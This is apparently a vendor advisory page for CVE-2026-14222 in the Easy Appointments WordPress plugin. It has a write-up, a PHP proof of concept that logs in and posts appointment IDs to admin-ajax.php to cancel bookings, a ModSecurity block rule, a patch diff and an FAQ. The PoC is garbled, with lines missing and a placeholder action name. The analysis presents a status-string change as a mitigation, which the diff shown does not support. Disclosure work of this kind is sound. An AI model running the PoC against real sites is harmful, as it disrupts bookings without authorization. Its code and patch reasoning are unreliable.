“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-14222: The Easy Appointments plugin for WordPress, versions up to and including 3.12.26, contains a missing authorization vulnerability. The flaw exists in the AJAX handler responsible for marking appointments as ‘abandoned’. It allows authenticated attackers with contributor-level access or higher to cancel multiple future appointments without proper capability checks. The vulnerability has a CVSS score of 4.3, indicating a moderate severity level.nnThe root cause lies within the `src/ajax.php` file. Specifically, the vulnerable AJAX action handler, located around lines 603-665, lacks a capability check (such as `current_user_can`). The handler processes a POST parameter named ‘appointments’, which is expected to be an array of appointment IDs. The original code used `sanitize_text_field` to process the input and then iterated over the resulting array to update the status of each appointment. No permission verification was performed before, during, or after this operation. The lack of a nonce check and a capability check combined to create this authorization flaw.nnTo exploit this vulnerability, an authenticated attacker with at least contributor-level access needs to send a crafted POST request to the WordPress admin-ajax endpoint at `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to the vulnerable AJAX hook (the handler that contains the affected code). The attacker must also include an ‘appointments’ array containing the IDs of future appointments they wish to cancel. The server processes this request, updating the status of the targeted appointments, effectively canceling them without legitimate authorization.nnThe patch in version 3.12.27 modifies the vulnerable handler in `src/ajax.php`. First, it initializes the `$response` variable to `false`. It also changes the input sanitization for the ‘appointments’ parameter. The new code uses `wp_unslash` and `array_map(‘absint’, …)` for type casting, which is a more appropriate method for handling an array of integer IDs. This is a security hardening step. However, the definitive change is the status value used in the database update query: it changes from ‘abandoned’ to ‘canceled’. This fix doesn’t directly patch the authorization issue; it changes the side-effect of the unauthorized action. By altering the outcome, the business logic impact of the vulnerability is mitigated, as the unauthorized action now performs a less destructive operation.nnThe primary security impact of this vulnerability is a violation of authorization, allowing users with a low-privilege role to modify appointment states. If exploited, an authenticated attacker with contributor-level access could cancel or mark as abandoned any future appointment. This could lead to denial of service for the booking system and a loss of data integrity. It could also facilitate a business logic attack by enabling an attacker to disrupt scheduling, cause customer dissatisfaction, or create chaos within the appointment management workflow.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptrn// CVE-2026-14222 – Easy Appointments <= 3.12.26 – Missing Authorizationrn<?phprn/**rn * Atomic Edge CVE Research – Proof of Conceptrn * CVE-2026-14222 – Easy Appointments $username, ‘pwd’ => $password, ‘wp-submit’ => ‘Log In’, ‘redirect_to’ => $target_url . ‘/wp-admin/’);rn$cookie_jar = tmpfile(); // Temporary file to store cookiesrnrn$ch = curl_init();rncurl_setopt($ch, CURLOPT_URL, $login_url);rncurl_setopt($ch, CURLOPT_POST, true);rncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));rncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);rncurl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);rncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);rncurl_exec($ch);rnrn// Step 2: Get the admin-ajax URL and nonce (if needed, though this vuln doesn’t require one)rn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;rnrn// Step 3: Prepare the exploit request payloadrn// The ‘action’ parameter is the vulnerable AJAX hook. This is likely ‘ea_cancel_appointments’ or similar.rn// Replace ‘vulnerable_action_name’ with the actual hook name if you know it, or brute-force common names.rn$action = ‘vulnerable_action_name’;rnrn// Step 4: Send the exploit requestrn// Build POST data including the appointments array (in the pre-patch 3.12.26 format)rn$post_data = array(rn ‘action’ => $action,rn ‘appointments’ => $appointment_idsrn // In the vulnerable version, the parameter might be a serialized array or a comma-separated list.rn // Adjust the data format based on the plugin’s requirements while ensuring the ‘appointments’rn // parameter is present with the target IDs.rn);rnrncurl_setopt($ch, CURLOPT_URL, $ajax_url);rncurl_setopt($ch, CURLOPT_POST, true);rncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));rncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);rncurl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);rn$response = curl_exec($ch);rnrnif ($response === false) {rn echo ‘Error: ‘ . curl_error($ch) . “\n”;rn} else {rn echo ‘Exploit response:\n’ . $response . “\n”;rn}rnrncurl_close($ch);rnfclose($cookie_jar);rn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-14222rn# This rule targets the AJAX request pattern for the unauthorized appointment status change.rn# It blocks the specific action when an ‘appointments’ parameter containing an array of IDs is present.rn# The rule is narrowly scoped to the vulnerable admin-ajax endpoint and the specific handler action.rnrnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \rn “id:20261422,phase:2,deny,status:403,chain,msg:’CVE-2026-14222 – Missing Authorization in Easy Appointments AJAX handler’,severity:’CRITICAL’,tag:’CVE-2026-14222′”rn SecRule ARGS_POST:action “@streq vulnerable_action_name” “chain”rn SecRule ARGS_POST:appointments “@rx ^\[\s*[0-9]+(?:\s*,\s*[0-9]+)*\s*\]$” “t:none”rn”
“`

CVE-2026-14222: Easy Appointments <= 3.12.26 Missing Authorization PoC, Patch Analysis & Rule
CVE-2026-14222
easy-appointments
3.12.26
3.12.27
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
* Plugin Name: Easy Appointments
* Plugin URI: https://easy-appointments.com/
* Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
* Requires PHP: 5.3
* Author: Nikola Loncar
* Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
/**
* Currently plugin version.
*/
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );
// path for source files
define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
}
-
- $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+ $response = false;
+ $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
$current_datetime = current_time('mysql');
foreach ($appointments as $appointment_id) {
$appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
if ($appointment) {
if (strtotime($appointment['date']) > strtotime($current_datetime)) {
$data = [
- 'status' => 'abandoned',
+ 'status' => 'canceled',
'id' => $appointment_id
];
foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
WHERE id = %d
";
// phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
- $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+ $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
}
if ($response === false) {
$this->send_err_json_result('{"err":true}');
Frequently Asked Questions
What is CVE-2026-14222?
Vulnerability overviewCVE-2026-14222 is a missing authorization vulnerability in the Easy Appointments plugin for WordPress, affecting versions up to and including 3.12.26. It allows authenticated users with contributor-level access or higher to cancel future appointments without proper permission checks. The vulnerability has a CVSS score of 4.3, indicating medium severity.
How does the vulnerability work?
Technical mechanismThe vulnerability exists in the AJAX handler in the file src/ajax.php, which processes appointment status updates. The handler lacks a capability check, such as current_user_can, and also lacks a nonce check. An attacker can send a crafted POST request to admin-ajax.php with an ‘appointments’ array containing appointment IDs, causing the plugin to update their status to ‘abandoned’ without authorization.
Who is affected by this vulnerability?
Affected users and rolesWordPress sites running Easy Appointments version 3.12.26 or earlier are affected. The vulnerability can be exploited by any authenticated user with at least contributor-level access. This includes authors and contributors, who typically have limited permissions, making the risk broader than if it required administrator access.
How can I check if my site is vulnerable?
Detection stepsCheck the Easy Appointments plugin version in your WordPress admin dashboard under Plugins. If the version is 3.12.26 or lower, your site is vulnerable. You can also review the source code of src/ajax.php to see if the vulnerable code pattern is present, but updating to the patched version is the simplest way to confirm.
What is the practical impact of this vulnerability?
Real-world consequencesAn attacker with contributor-level access could cancel multiple future appointments, disrupting your booking system and causing customer dissatisfaction. This could lead to a denial of service for your scheduling operations and a loss of data integrity. The impact is limited to appointment status changes, not data theft or site takeover.
How was the vulnerability patched in version 3.12.27?
Patch detailsThe patch in version 3.12.27 modifies the vulnerable AJAX handler in src/ajax.php. It changes the input sanitization to use array_map(‘absint’, wp_unslash(…)) for better type handling, and it changes the status value from ‘abandoned’ to ‘canceled’. However, the patch does not add a capability check or nonce verification, so the authorization issue remains technically present but with a less destructive outcome.
Is the patch sufficient to fully fix the vulnerability?
Patch effectivenessThe patch in 3.12.27 mitigates the business logic impact by changing the status to ‘canceled’ instead of ‘abandoned’, but it does not address the root cause of missing authorization. The vulnerability is still exploitable, but the unauthorized action now performs a less harmful operation. For a complete fix, the plugin should add proper capability checks and nonce verification.
What does the proof of concept (PoC) demonstrate?
PoC explanationThe PoC provided by Atomic Edge demonstrates how an authenticated attacker can exploit the vulnerability. It logs in with a contributor account, sends a POST request to admin-ajax.php with the vulnerable action and an ‘appointments’ array, and shows that the server processes the request, canceling the targeted appointments. The PoC highlights the lack of permission checks.
How can I mitigate this vulnerability if I cannot update immediately?
Temporary mitigationsIf you cannot update to version 3.12.27 immediately, you can temporarily restrict access to the vulnerable AJAX action by using a security plugin or custom code to block requests to admin-ajax.php with the specific action parameter. Additionally, you can disable contributor-level accounts or limit their roles until the update is applied.
What is the CVSS score and what does it mean?
Risk rating interpretationThe CVSS score of 4.3 is considered medium severity. This means the vulnerability has a moderate impact, requiring low-privilege access and no user interaction. The attack complexity is low, but the impact is limited to appointment cancellation, not data confidentiality or integrity on a large scale.
Are there any known exploits in the wild?
Exploit statusAs of the disclosure date, there are no known exploits in the wild. However, the PoC is publicly available, so it is likely that attackers will develop exploits soon. It is crucial to apply the patch promptly to prevent potential attacks.
What should I do to secure my WordPress site?
Recommended actionsUpdate the Easy Appointments plugin to version 3.12.27 or later immediately. Review your user roles and remove any unnecessary contributor-level accounts. Additionally, implement a Web Application Firewall (WAF) rule, such as the one provided by Atomic Edge, to block malicious requests targeting this vulnerability.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






